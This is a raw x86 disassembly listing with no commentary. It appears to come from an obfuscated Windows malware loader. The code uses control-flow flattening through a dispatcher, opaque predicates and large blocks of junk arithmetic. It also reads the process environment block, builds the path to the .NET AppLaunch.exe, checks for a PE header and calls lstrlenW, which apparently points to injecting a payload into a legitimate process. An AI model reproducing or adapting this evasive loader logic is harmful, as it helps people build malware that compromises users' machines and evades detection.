mov eax, 0xb57c2224
cmove ecx, esi
test dl, 1
jmp 0x40be30
mov eax, 0xe5d34f9f
jmp 0x401100
mov eax, dword [ebp - 0x40]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x2c]
mov ecx, dword [ecx]
lea ecx, [ecx + ecx*4]
mov eax, dword [eax + ecx*4 + 0x10]
add eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x6c]
mov dword [ecx], eax
mov ecx, dword [0x508184]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
and ecx, 0x46c452b
mov esi, edx
and esi, 0x12100a10
and edx, 0xe2a31dd7
or ecx, esi
mov esi, ecx
xor esi, 0x42c442a
xor ecx, 0xfb93bad4
mov edi, ecx
and edi, 0x9bc08345
and esi, 0x43c4c3a
or esi, edi
mov edi, eax
xor edi, 0x167c4f3b
and edi, eax
and eax, 0x1d5ce228
mov ebx, edi
not ebx
and edi, 0x643f7cba
or eax, edx
or ecx, ebx
and ebx, 0x9bc08345
mov edx, eax
xor edx, 0x1d5ce228
xor eax, 0xe2a31dd7
or edi, ebx
not ecx
xor edi, esi
or ecx, edi
mov esi, ecx
not esi
and ecx, 0x167c4f3a
and esi, 0xe983b0c5
or ecx, esi
mov esi, 0x5d696939
andn edx, ecx, edx
and eax, ecx
not ecx
or eax, edx
not eax
or eax, ecx
xor eax, 0xffffffff
setne ah
sete dl
cmp dword [0x508180], 0xa
mov cl, ah
setge al
or cl, al
xor ah, al
or al, dl
xor cl, 1
and ah, dl
xor al, 1
or al, ah
mov edx, ecx
xor dl, al
or al, cl
xor al, 1
or al, dl
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0x843ae1ae
cmovne ecx, esi
test al, 1
mov eax, 0x843ae1ae
jmp 0x4010ec
mov eax, dword [ebp - 0x3c]
mov dword [eax], 0x20
mov ecx, dword [0x508184]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov esi, eax
and esi, 0x1c000210
and eax, 0x410f01a0
mov edx, ecx
and edx, 0x240b84e
or ecx, 0x18402054
or esi, edx
and ecx, 0xb8f06455
mov edx, esi
xor edx, 0x4000200
xor esi, 0xa0f06445
or eax, ecx
and esi, 0xb8f06455
and edx, 0x6009a0a
or edx, esi
mov esi, 0x12f7e110
xor eax, edx
mov ecx, eax
not ecx
and eax, 0x1e40ba5e
and ecx, 0xe1bf45a1
or eax, ecx
mov ecx, eax
xor ecx, 1
mov edx, eax
not edx
and ecx, eax
and edx, 0xfffffffe
and eax, 1
or eax, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x5ad6eba7
and ecx, 0xa5291458
or ecx, eax
mov eax, ecx
xor eax, 0x4091458
xor ecx, 0x5ac000a2
and ecx, 0xfbe000a2
and eax, 0x41fff5d
or eax, ecx
xor eax, 0x41fff5d
setne dl
sete al
cmp dword [0x508180], 0xa
mov ecx, edx
setl ah
setge ch
mov dh, ah
xor dl, ch
and cl, ch
and dh, al
and dl, al
xor al, ah
and al, ah
xor dl, 1
or dh, cl
xor al, 1
mov ah, dl
mov cl, dh
xor ah, al
or al, dl
xor cl, ch
xor al, 1
and cl, dh
or al, ah
mov edx, ecx
mov ah, al
xor dl, 1
xor ah, 1
and al, dl
or dl, ah
and ah, cl
mov ecx, 0xd1d5896f
or ah, al
mov al, dl
xor al, ah
test al, 1
cmovne ecx, esi
test ah, 1
mov esi, 0xd1d5896f
jmp 0x40bf4b
mov eax, dword fs:[0x30]
mov ecx, dword [ebp - 0x5c]
vmovups ymm1, ymmword [0x4531a0]
vmovups ymm0, ymmword [str.C:WindowsMicrosoft.NETFramework_v4.0.30319AppLaunch.exe]
vmovups ymm2, ymmword [0x4531c0]
mov dword [ecx], eax
mov eax, dword [ebp - 0x74]
mov eax, dword [ebp - 0x5c]
mov eax, dword [eax]
mov eax, dword [eax + 0xc]
mov ecx, dword [ebp - 0x74]
mov dword [ecx], eax
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp - 0x74]
mov eax, dword [eax]
mov eax, dword [eax + 0x14]
mov ecx, dword [ebp - 0x54]
add eax, 0xfffffff8
mov dword [ecx], eax
and edi, 0x83
or edx, 0x1a
imul edx
rcl esi, 0xce
bswap esi
and edi, 0xfb
neg esi
sub edx, 0x4c
inc esi
add edi, 0xe2
neg edx
ror esi, 0x61
inc edi
not eax
imul edi
or edx, 0x97
inc edx
mov edx, 0xea
bswap edi
neg ebx
imul ebx
mov edx, 0x22
ror ebx, 0x39
imul ebx
bswap ebx
neg esi
inc edi
imul esi
rol ebx, 6
or esi, 0xa8
or edx, 0xe6
or ebx, 0xe3
mov esi, 0x61
inc edi
bswap ebx
not edi
add edx, 0x79
sub eax, 0xe4
not esi
rcr ebx, 0x5c
bswap ebx
ror ebx, 0xbf
sub eax, 0xee
rcr edx, 0xbe
mov eax, 0xa9
rcr eax, 0x8b
and ebx, 0xaa
sub edx, 0x21
add esi, 0xad
not eax
rcl edx, 0xec
rcl eax, 0x1b
ror edx, 0xe3
imul ebx
sbb edx, 0xae
dec ebx
add edi, 0xf4
mov ebx, 0xab
rcl edx, 0x57
and edx, 0x2c
imul ebx
inc eax
not eax
add ebx, 0x37
neg edi
inc edi
imul edx
and esi, 0x33
bswap ebx
inc edx
rcr eax, 0xa5
add eax, 0x34
and ebx, 0x4a
rcr ebx, 0x9d
imul ebx
rcl edx, 0x1a
mov eax, 0x7b
add esi, 0x20
ror edi, 0x7a
rcl ebx, 0x29
mov ebx, 0x5c
inc ebx
add edi, 0xee
rcl edx, 0x4d
ror eax, 0xf5
add edi, 0xcc
inc edi
add edx, 0x3a
imul edx
sub edi, 0x8a
not eax
bswap edi
bswap edx
rol edx, 0x35
sbb edi, 9
neg ebx
rcl eax, 0x98
neg edi
mov eax, 0xe8
mov edi, 0xc7
sub edi, 0xef
not esi
neg ebx
or ebx, 0x73
imul edx
rol eax, 0x93
and edx, 0x3f
bswap eax
mov eax, 0xdd
rcr ebx, 0x54
not eax
imul eax
bswap ebx
neg edi
sub edi, 0xa9
rcr ebx, 0x63
dec edi
and esi, 0x79
rcl eax, 0x29
imul eax
inc edx
not edi
neg eax
mov edi, 0x8e
inc esi
and edi, 0xda
neg edi
inc edx
ror eax, 0x8a
or eax, 0xf6
inc edi
rcr eax, 0x13
sub edi, 0xf8
not edi
dec edi
sub esi, 0x64
dec edi
bswap esi
ror esi, 0xc0
inc edi
and esi, 0
not ebx
neg esi
neg eax
inc edx
inc ebx
dec ebx
mov ebx, 0xac
neg eax
add ebx, 0x51
mov eax, dword [ebp - 0x5c]
mov ecx, dword [ebp - 0x1c]
mov eax, dword [eax]
mov dword [eax + 8], ecx
mov eax, dword [ebp - 0x54]
mov eax, dword [eax]
mov dword [eax + 0x18], ecx
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x54]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x30]
add eax, 0x24
mov dword [ecx], eax
dec esi
dec edi
neg eax
bswap edi
ror eax, 0x19
bswap esi
add edi, 0x12
neg ebx
or esi, 0xd
dec eax
imul edi
sbb edx, 0x87
mov ebx, 0x6e
add ebx, 0xbb
rcr edi, 0x16
neg edi
sub edi, 0xe4
inc eax
rcr edx, 0xf9
sbb ebx, 0xec
inc ebx
bswap esi
imul ebx
rcl eax, 0xf5
sub eax, 5
ror ebx, 0x3e
mov ebx, 0x13
add eax, 0x15
sub edi, 0x30
not edx
ror edx, 0x38
inc eax
add esi, 0xea
mov esi, 0x83
sbb edx, 0xa9
inc esi
sbb ebx, 0xe5
not ebx
neg eax
imul eax
imul esi
not ebx
rol eax, 0x1c
mov ebx, 0x43
dec edx
bswap eax
not edx
rol edi, 0x1f
dec eax
neg ebx
or edx, 0x1d
add edx, 0x46
and esi, 0x11
rcr ebx, 0x64
imul eax
neg ebx
imul edx
ror esi, 0xb8
dec eax
mov eax, 0xed
dec esi
bswap ebx
imul ebx
sub edx, 0x23
and edi, 0x8a
not edx
rol ebx, 0x51
add edx, 0x7f
not edi
neg edi
bswap edi
rcr eax, 0xd7
or ebx, 0x63
bswap edi
imul eax
ror edi, 0x41
mov esi, 0x47
inc eax
rcr edi, 0x5f
ror edi, 0xae
ror esi, 0xd9
rcr ebx, 0x91
inc edi
rcl edx, 0x72
rcl edi, 0x9d
rcr edi, 0x7f
imul edi
rcl edx, 0x5a
sbb eax, 0x38
rcr ebx, 0x6b
sub edi, 0x41
or edx, 3
dec eax
rol eax, 0xaa
rcr edi, 0xb0
ror esi, 2
add esi, 0xbf
rcr edx, 0xaf
not edi
not edi
not eax
not edi
imul edi
bswap edx
not edx
mov eax, 0xb8
imul edx
rcl ebx, 0xc4
rol ebx, 0x73
ror edi, 0x4e
neg eax
ror edi, 0xb3
sub eax, 0x87
rol eax, 0x5b
bswap edx
bswap edx
add edi, 0x2e
sub edx, 0x13
bswap esi
bswap esi
not edx
rol ebx, 0xd4
sbb eax, 0xbe
not eax
ror eax, 0x94
or edi, 0xec
neg edi
sub edi, 0xea
dec edx
and ebx, 0x39
add edi, 0x9e
mov eax, 0x76
inc ebx
and eax, 0x98
dec edi
inc edi
neg ebx
and eax, 0xd4
imul edx
and edi, 0x36
not eax
neg eax
inc ebx
neg esi
rol edi, 0xc7
rcl ebx, 0x60
or esi, 0xc0
imul edx
dec ebx
imul eax
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x58]
mov eax, dword [ebp - 0x58]
vmovups ymmword [eax + 0x20], ymm1
vmovups ymm1, ymmword [0x4531d8]
vmovups ymmword [eax + 0x40], ymm2
vmovups ymmword [eax], ymm0
vmovups ymmword [eax + 0x58], ymm1
mov eax, dword [ebp - 0x60]
mov eax, dword [ebp - 0x20]
cmp dword [eax + 0xe8], 0
mov eax, dword [ebp - 0x60]
setne byte [eax]
mov eax, dword [ebp - 0x94]
mov eax, dword [ebp - 0x60]
mov eax, 0xa0654b60
jmp 0x401100
mov eax, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x38]
add eax, 8
mov dword [ecx], eax
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x48]
mov dword [eax], 0
mov ecx, dword [0x508184]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov esi, eax
and esi, 0xa793936b
and eax, 0x60000800
mov edx, ecx
and edx, 0x586c6c94
or ecx, 0xa49120
or esi, edx
and ecx, 0x8fb7d16d
mov edx, esi
xor esi, 0x240000
xor edx, 0x202
or eax, ecx
or esi, 0x8f13404d
and edx, 0x10482692
and esi, 0x8fb7d16d
or edx, esi
xor eax, edx
mov ecx, eax
not ecx
and eax, 0x2074c50
and ecx, 0xfdf8b3af
or eax, ecx
mov edx, eax
xor edx, 0x12ebfbe2
xor eax, 0xed14041d
mov ecx, edx
mov esi, eax
and esi, 0xda038f17
and ecx, 0x25fc70e8
and edx, 0xd94fdaa7
or ecx, esi
mov esi, ecx
not esi
and ecx, 0xda038f16
and esi, 0x25fc70e9
or ecx, esi
mov esi, eax
and esi, 0x26b02558
and eax, 1
or esi, edx
mov edx, esi
xor edx, 0x980080a6
xor esi, 0x4800148
or eax, edx
mov edx, ecx
and esi, 0x45cf5b48
not edx
and ecx, 0xc4c1699a
and eax, 0xba30a4b7
or eax, esi
mov esi, edx
and esi, 0x3b3e9665
or ecx, esi
mov esi, eax
xor esi, 0x80002092
xor eax, 0x45cf5b48
or edx, eax
and eax, 0x3b3e9665
and esi, 0xc4c1699a
or esi, eax
not edx
xor esi, ecx
or edx, esi
mov esi, 0x6b27ee5d
mov ecx, edx
xor ecx, 0x8cb9d973
mov eax, edx
and eax, 0x4894931
and ecx, edx
not edx
and edx, 0x88309042
or eax, edx
xor eax, 0x4894931
or eax, ecx
not ecx
and ecx, 0x7346268c
and eax, 0x8cb9d973
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x2f2d200c
mov edx, ecx
and edx, 0xd0d2dff3
or eax, edx
xor eax, 0x2f2d200c
or eax, ecx
xor eax, 0xffffffff
sete cl
setne dl
cmp dword [0x508180], 0xa
setge al
setl ah
xor al, dl
inc dl
mov ch, ah
or dl, ah
xor ch, cl
or cl, ah
xor dl, 1
and cl, ch
or dl, al
xor dl, cl
and cl, dl
mov eax, edx
xor al, cl
test al, 1
mov eax, 0x2b7b2bf4
cmovne esi, eax
test dl, 1
mov eax, 0x6b27ee5d
cmovne eax, esi
test cl, cl
cmove eax, esi
jmp 0x401100
mov eax, dword [ebp - 0x190]
mov ecx, dword [ebp - 0x4c]
inc eax
mov dword [ecx], eax
mov eax, 0x9127c422
jmp 0x401100
neg edi
imul ebx
inc edx
rcl edi, 0x10
dec edx
rcr esi, 0x95
sbb edx, 0xb2
neg edx
ror edi, 0xc3
not edx
sub ebx, 0xa7
not edx
not ebx
rcl ebx, 0x47
add eax, 0xd
imul edi
bswap eax
mov ebx, 0x4a
neg esi
or esi, 0x51
ror eax, 0x13
dec eax
ror esi, 0xe6
add edi, 0x9e
bswap eax
inc edi
not edx
and esi, 0xfb
imul eax
neg eax
neg ebx
imul edi
inc esi
bswap ebx
add eax, 0xe6
ror eax, 0x5f
sub eax, 0x13
rol eax, 0xe8
or eax, 0xad
mov eax, 0x18
sbb ebx, 0xc8
or esi, 0xa8
mov edx, 0x93
dec edi
imul ebx
bswap ebx
and edx, 0x95
not eax
or edi, 0x74
sbb eax, 0xbf
rcr eax, 0x9e
rcl ebx, 0x24
inc edi
neg edi
sub esi, 0x93
imul ebx
imul edi
and esi, 0xd4
inc edi
bswap eax
bswap edx
ror esi, 0x52
bswap eax
rol edi, 0xd3
sbb edi, 0x3c
inc ebx
and ebx, 0x31
rol esi, 0x31
neg eax
inc eax
bswap eax
neg edi
imul eax
neg esi
sbb edi, 0x77
not esi
dec edi
inc edi
inc esi
add edx, 0x23
neg eax
and esi, 0x64
add esi, 0x73
rcl esi, 0x43
not edx
rol edx, 0xd9
mov edx, 0x77
rol edx, 0xfe
dec eax
and edx, 0x54
mov eax, 0xf2
sub esi, 0xc5
neg esi
sbb eax, 0x7a
inc eax
sub ebx, 0x6c
not edx
dec edx
rcr ebx, 0x46
imul ebx
sbb edx, 0x23
dec esi
sub edi, 0x7b
imul esi
mov edx, 0x1a
inc ebx
bswap esi
bswap edi
bswap edi
sub edi, 0x43
and eax, 0xc5
add eax, 0x9e
bswap eax
not eax
rcr esi, 0x84
sub edi, 0x10
rol esi, 0xec
imul eax
bswap ebx
sbb esi, 0xac
or edx, 0xfa
inc esi
neg eax
dec edi
bswap edi
dec eax
add esi, 0xc4
sbb eax, 0xf9
not edi
neg ebx
mov edi, 0xc9
not edx
bswap edx
ror edi, 0xfa
bswap esi
and eax, 0x57
neg edi
inc edx
rcr edx, 0x4d
bswap eax
inc eax
not edx
rcr eax, 0x4d
sbb ebx, 0xcb
sbb ebx, 0x3e
or edx, 0xc9
not edi
rol esi, 0xb4
not esi
dec eax
mov dword [ebp - 0x19c], eax
mov eax, 0x288c91ae
jmp 0x401100
mov eax, dword [ebp - 0x6c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x4c]
mov ecx, dword [ecx]
cmp dword [eax + ecx*4], 0
mov eax, 0x4de629b6
setne byte [ebp - 0x81]
jmp 0x401100
mov eax, 0x4fc0e746
jmp 0x401100
mov eax, dword [ebp - 0x194]
mov ecx, 0x5cdc281
cmp eax, 0xc
mov eax, 0x692afeaf
cmove eax, ecx
jmp 0x401100
mov eax, dword [0x508184]
lea edx, [eax + 1]
imul edx, eax
mov ecx, edx
xor ecx, 0x90ce1584
mov eax, edx
not eax
and ecx, edx
or eax, ecx
not ecx
and ecx, 0x6f31ea7b
and eax, 0x90ce1584
or eax, ecx
mov esi, eax
xor esi, 0xa7400404
mov ecx, eax
and ecx, 0x6a1d4351
and esi, eax
not eax
and eax, 0x95e2bcae
or ecx, eax
mov eax, ecx
mov edi, ecx
xor eax, 0x6a1d4351
xor edi, 0x32a2b8aa
xor ecx, 0x8480340a
and edi, eax
and ecx, 0xc699341b
mov edx, edi
not edx
and edi, 0x3940d25c
mov ebx, edx
and ebx, 0xc6bf2da3
or edi, ebx
mov ebx, esi
not ebx
and esi, 0x3940d25c
or edx, ebx
and ebx, 0xc6bf2da3
or esi, ebx
not edx
xor esi, edi
or edx, esi
mov esi, edx
not esi
and edx, 0xa7400405
and esi, 0x58bffbfa
or edx, esi
mov esi, eax
and esi, 0x3966cbe4
and eax, 1
or esi, ecx
mov ecx, esi
xor ecx, 0x82003402
xor esi, 0x39000344
or eax, ecx
and esi, 0x7d99035c
and eax, 0x8266fca3
or eax, esi
mov esi, 0xb526e807
xor eax, 0x8266fca3
or eax, edx
mov ecx, eax
not ecx
and eax, 0x7d96c748
and ecx, 0x826938b7
or ecx, eax
mov eax, ecx
xor eax, 0x49164508
xor ecx, 0x80200826
and eax, 0x4b5f7599
and ecx, 0xb4a08a66
or ecx, eax
xor ecx, 0xb4a08a66
sete dl
setne ah
cmp dword [0x508180], 0xa
setge al
setl ch
mov cl, al
or ch, ah
or cl, dl
xor dl, al
xor ch, 1
and dl, al
xor al, ah
xor cl, 1
mov ah, dl
xor dl, al
xor al, 1
or cl, ch
xor ah, 1
or al, ah
xor al, 1
or al, dl
mov edx, ecx
mov ah, al
xor dl, al
and al, cl
and dl, cl
not ah
xor cl, 1
and cl, ah
or al, cl
mov ecx, edx
xor cl, al
test cl, 1
mov ecx, 0x7044e504
jmp 0x40d60c
mov eax, 0xa1f00276
mov dword [ebp - 0x28], 1
jmp 0x401100
mov eax, dword [ebp - 0x4c]
mov eax, 0x5d19215f
jmp 0x401100
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x3c]
mov dword [eax], 0x40
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x50]
mov ecx, dword [ebp - 0x9c]
mov eax, dword [eax]
lea eax, [eax + eax*4]
lea eax, [ecx + eax*8]
mov dword [ebp - 0x100], eax
mov eax, 0x7e4eae79
jmp 0x401100
mov eax, 0x72cc3ac5
jmp 0x401100
mov ecx, dword [0x508184]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
xor ecx, 0x7ba276d9
mov esi, eax
or esi, 0x45c0802
mov edx, eax
not edx
and ecx, eax
and esi, 0x26de5c1a
and edx, 0x592022c1
mov edi, ecx
not edi
and ecx, 0xd921a3e5
or edx, esi
or eax, edi
and edi, 0x26de5c1a
or ecx, edi
not eax
xor ecx, edx
or eax, ecx
not ecx
and ecx, 0x845d8926
and eax, 0x7ba276d9
or eax, ecx
mov edx, eax
not edx
mov ecx, eax
and ecx, 0x58cb84fe
and eax, 0xbf6a0b2a
mov esi, edx
and esi, 0xa7347b01
or ecx, esi
mov esi, ecx
not esi
and ecx, 0x249d0dc
and esi, 0xfdb62f23
or ecx, esi
mov esi, edx
and esi, 0x4095f4d5
and edx, 1
or esi, eax
mov edi, ecx
xor edi, 0xa1498b08
xor ecx, 0x5a825423
mov eax, esi
xor eax, 0xbf6a0b2b
xor esi, 0x40819400
and edi, 0xe9c99f2a
or edx, eax
mov eax, ecx
and eax, 0x163660d5
and esi, 0xe9c99f2a
or ecx, edx
and edx, 0x163660d5
or edi, eax
or esi, edx
not ecx
xor esi, edi
or ecx, esi
mov eax, ecx
xor eax, 0x8047ea71
mov edx, ecx
not edx
and eax, ecx
or ecx, 0x7fb8158e
and edx, 0x442821
mov esi, ecx
and esi, 0xf8abc7d0
or edx, esi
mov esi, eax
not esi
and eax, 0x754382f
or ecx, esi
and esi, 0xf8abc7d0
or eax, esi
not ecx
mov esi, 0x4a652733
xor eax, edx
or ecx, eax
mov eax, ecx
not eax
and ecx, 0xa4cb8e06
and eax, 0x5b3471f9
or ecx, eax
mov eax, ecx
xor eax, 0x4053
xor ecx, 0x80311a08
and ecx, 0xa4bd3e2c
and eax, 0x5b42c1d3
or eax, ecx
mov ecx, eax
xor ecx, 0x342c101
xor eax, 0x153a20
and eax, 0x58153af2
and ecx, 0xa7eac50d
or ecx, eax
xor ecx, 0xa7eac50d
sete al
setne cl
cmp dword [0x508180], 0xa
setl ah
mov dl, ah
xor cl, ah
or dl, al
xor cl, 1
xor al, ah
xor dl, 1
or dl, cl
mov ecx, edx
mov ah, dl
and ah, al
xor cl, 1
xor al, 1
and cl, al
or al, dl
or cl, ah
mov edx, eax
xor dl, cl
mov edx, 0x477c6f4d
cmovne edx, esi
test al, al
mov eax, 0x477c6f4d
jmp 0x40e922
mov eax, dword [0x508184]
mov edi, 0xc2bdfac0
lea edx, [eax + 1]
imul edx, eax
mov ecx, edx
xor ecx, 0xf192a0c1
mov eax, edx
and eax, 0x897d507
and ecx, edx
not edx
and edx, 0xf7682af8
or eax, edx
mov edx, eax
xor eax, 0xf10020c0
xor edx, 0x120001
mov esi, eax
or esi, 0x6041804
and edx, 0xf0122081
and esi, 0x7849844
or edx, esi
mov esi, ecx
not esi
and ecx, 0xf87b67bb
or eax, esi
and esi, 0x7849844
or ecx, esi
not eax
mov esi, 0x1ca8ddcf
xor ecx, edx
or eax, ecx
not ecx
and ecx, 0xe6d5f3e
and eax, 0xf192a0c1
or eax, ecx
mov ecx, eax
xor ecx, 0xd87d865b
andn edx, eax, ecx
mov ecx, eax
and ecx, 0x278279a4
or ecx, edx
mov edx, ecx
not edx
and ecx, 0xd87d865a
and edx, 0x278279a5
or ecx, edx
mov edx, eax
not edx
and eax, 0x45a40abc
or edx, 1
and edx, 0xba5bf543
or edx, eax
xor edx, 0xba5bf543
or edx, ecx
mov eax, edx
not eax
mov ecx, edx
and ecx, 0xe7b1fca0
and eax, 0x184e035f
or ecx, eax
andn eax, edx, edx
xor ecx, 0xe7b1fca0
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xa785f644
and ecx, 0x587a09bb
or eax, ecx
mov ecx, eax
xor ecx, 0x4857200
xor eax, 0x5862098b
and eax, 0xfb628dcf
and ecx, 0x49d7230
or ecx, eax
xor ecx, 0x49d7230
sete al
setne cl
cmp dword [0x508180], 0xa
setl ah
setge dl
and ah, cl
inc cl
and al, dl
xor cl, dl
or al, ah
and dl, cl
xor cl, 1
mov ch, al
or cl, dl
xor ch, 1
mov edx, ecx
not dl
and dl, ch
or ch, cl
and cl, al
mov eax, 0xc2bdfac0
or cl, dl
mov dl, ch
xor dl, cl
test cl, cl
cmovne eax, esi
test ch, 1
cmovne eax, edi
jmp 0x40b8a8
mov eax, 0x23c3d8fb
jmp 0x401100
mov eax, dword [ebp - 0x58]
mov ecx, dword [ebp - 0x30]
mov ecx, dword [ecx]
mov dword [ecx + 4], eax
push dword [ebp - 0x58]
vzeroupper
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ecx, dword [ebp - 0x30]
add eax, eax
mov ecx, dword [ecx]
mov word [ecx], ax
mov eax, dword [0x508184]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0x6ae4684b
and eax, 0x951b97b4
or eax, ecx
mov edx, eax
mov ecx, eax
xor eax, 0x951b97b4
xor edx, 0x6ae4684b
xor ecx, 0x6ae4684a
and ecx, edx
and eax, 0xfffffffe
and edx, 1
or edx, eax
or edx, ecx
mov ecx, edx
xor ecx, 0x41186dcc
mov eax, edx
and eax, 0x85743aa8
and ecx, edx
not edx
and edx, 0x7a8bc557
or eax, edx
mov edx, eax
xor eax, 0x40084544
xor edx, 0x102080
mov esi, eax
or esi, 0x9ca18000
and edx, 0x401821c0
and esi, 0x9da1cc0c
or edx, esi
mov esi, ecx
not esi
and ecx, 0x625e33f3
or eax, esi
and esi, 0x9da1cc0c
or ecx, esi
not eax
mov esi, 0xee685225
xor ecx, edx
or eax, ecx
not ecx
and ecx, 0xbee79233
and eax, 0x41186dcc
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x265cacac
and ecx, 0xd9a35353
or ecx, eax
xor ecx, 0xd9a35353
sete al
setne dl
cmp dword [0x508180], 0xa
setl ah
setge cl
or al, cl
or ah, dl
or cl, dl
mov edx, eax
or al, ah
mov ch, cl
xor dl, ah
xor al, 1
xor ch, 1
or al, dl
mov edx, ecx
mov ah, ch
and dl, ch
xor al, 1
xor dl, 1
xor ah, dl
or dl, ch
xor dl, 1
or dl, ah
xor dl, al
or al, cl
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0x775e0201
cmovne ecx, esi
test al, 1
mov eax, 0x775e0201
jmp 0x40c58a
mov eax, dword [0x508184]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0xa5f3391c
and eax, 0x5a0cc6e3
or ecx, eax
mov eax, ecx
not eax
and ecx, 0xdf719101
and eax, 0x208e6efe
or ecx, eax
mov edx, ecx
mov eax, ecx
xor ecx, 0x512d247d
xor eax, 0x7a82a81d
xor edx, 0x857d57e2
mov edi, ecx
and edi, eax
and ecx, edx
and edx, 0x9c239a0e
and eax, 0x63dc65f0
mov esi, edi
not esi
and edi, 0x8389332d
or eax, edx
mov ebx, esi
and ebx, 0x7c76ccd2
xor eax, 0x63dc65f0
or edi, ebx
mov ebx, ecx
not ebx
and ecx, 0x8389332d
or esi, ebx
and ebx, 0x7c76ccd2
or ecx, ebx
not esi
xor ecx, edi
or esi, ecx
mov ecx, esi
not ecx
and esi, 0x6c6fed0d
and ecx, 0x939012f2
or esi, ecx
xor esi, 0xb83f9e93
or eax, esi
mov esi, 0x9b2bc685
mov ecx, eax
not ecx
and eax, 0x744b7dd4
and ecx, 0x8bb4822b
or ecx, eax
mov eax, ecx
xor eax, 0x108222
xor ecx, 0x700908d0
and ecx, 0xfbad08d9
and eax, 0x452f726
or eax, ecx
xor eax, 0x452f726
sete cl
setne al
cmp dword [0x508180], 0xa
setge dl
setl ah
and ah, al
mov al, dl
and al, cl
xor cl, dl
or al, ah
and cl, dl
mov ah, cl
mov edx, eax
xor cl, al
xor ah, 1
xor dl, 1
or dl, ah
xor dl, 1
or dl, cl
mov ecx, edx
mov ah, dl
xor cl, 1
and cl, dl
xor cl, 1
xor ah, cl
or cl, dl
mov edx, eax
xor cl, 1
or cl, ah
xor dl, cl
or cl, al
xor cl, 1
or cl, dl
mov eax, ecx
xor al, dl
test al, 1
mov eax, 0x187d8d69
cmovne esi, eax
test cl, 1
mov eax, 0x9b2bc685
cmovne eax, esi
jmp 0x40b8a8
mov eax, 0x4fc0e746
jmp 0x401100
mov eax, 0x5d0e28d8
jmp 0x401100
mov eax, 0x118e50db
jmp 0x401100
mov eax, dword [ebp - 0x124]
mov ecx, dword [ebp - 0x128]
cmp dword [eax + ecx], 0x4550
lea edx, [eax + ecx]
mov eax, 0x2c9bad29
mov ecx, 0xfdc516d1
mov dword [ebp - 0x20], edx
cmove eax, ecx
jmp 0x401100
mov eax, dword [ebp - 0x108]
mov eax, 0x4f986944
jmp 0x401100
mov eax, dword [ebp - 0x38]
mov eax, dword [eax]
movzx eax, word [eax]
mov edx, eax
not edx
mov ecx, eax
and ecx, 0x4000
mov ebx, eax
and ebx, 0x6ed
mov esi, edx
and esi, 0x2000
mov edi, edx
or edi, 0x9000
and edx, 0x3597
or ecx, esi
mov esi, eax
or esi, 0x912
and edi, 0xffff9912
and eax, 0xca68
xor ecx, 0x4000
and esi, 0xffff9912
or ebx, edi
or eax, edx
or esi, ecx
mov edx, eax
xor edx, 0x4a28
xor eax, 0x1485
xor ebx, esi
and eax, 0xffff94c5
and edx, 0x6b3a
mov esi, ebx
not esi
and ebx, 0x6b3a
or edx, eax
mov edi, esi
and edi, 0xffff94c5
or ebx, edi
xor edx, ebx
xor esi, edx
and esi, edx
movzx eax, si
add eax, dword [ebp - 0x160]
mov dword [ebp - 0x164], eax
mov eax, 0xbe67bfa
jmp 0x401100
mov eax, dword [0x508184]
mov edi, 0x6886e25a
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, ecx
xor edx, 0xfffffffe
andn edx, ecx, edx
and ecx, 0x1cd74dd9
and eax, 0xe328b226
or eax, ecx
xor eax, 0xe328b227
or eax, edx
mov edx, eax
not edx
mov esi, eax
andn ecx, eax, eax
and esi, 0xceb7332a
and edx, 0x3148ccd5
or edx, esi
mov esi, ecx
not esi
and ecx, 0x3148ccd5
or eax, esi
and esi, 0xceb7332a
or ecx, esi
not eax
mov esi, 0xcea0c122
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xe7394c9f
and ecx, 0x18c6b360
or ecx, eax
cmp ecx, 0x18c6b360
sete dl
cmp dword [0x508180], 0xa
setl al
setge ah
xor al, dl
mov ch, ah
mov cl, al
or ch, dl
and cl, dl
xor dl, ah
and dl, ah
xor cl, 1
mov ah, dl
mov dh, cl
or cl, ch
xor dl, al
xor al, 1
xor ah, 1
xor dh, ch
xor cl, 1
or al, ah
or cl, dh
xor al, 1
mov ch, cl
or al, dl
mov ah, al
xor ch, al
and al, cl
and ch, cl
xor ah, 1
xor cl, 1
and cl, ah
or al, cl
mov cl, al
xor cl, ch
test al, 1
mov eax, 0x6886e25a
cmovne eax, esi
test ch, 1
cmove eax, edi
test cl, 1
cmovne eax, esi
jmp 0x401100
mov eax, 0xa71a3757
jmp 0x401100
mov eax, dword [ebp - 0x6c]
mov ecx, dword [0x508184]
mov edi, 0x5d696939
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
andn ecx, eax, eax
not eax
and edx, 0x76357a19
and eax, 0x89ca85e6
or edx, eax
xor edx, 0x76357a19
or ecx, edx
mov edx, ecx
xor edx, 1
mov eax, ecx
not eax
and edx, ecx
and eax, 0xca066dc5
and ecx, 0x35f9923a
or ecx, eax
mov eax, edx
not eax
and edx, 0x39444307
mov esi, eax
and esi, 0xc6bbbcf8
or edx, esi
mov esi, ecx
xor esi, 0x31400203
xor ecx, 0xca066dc4
or eax, ecx
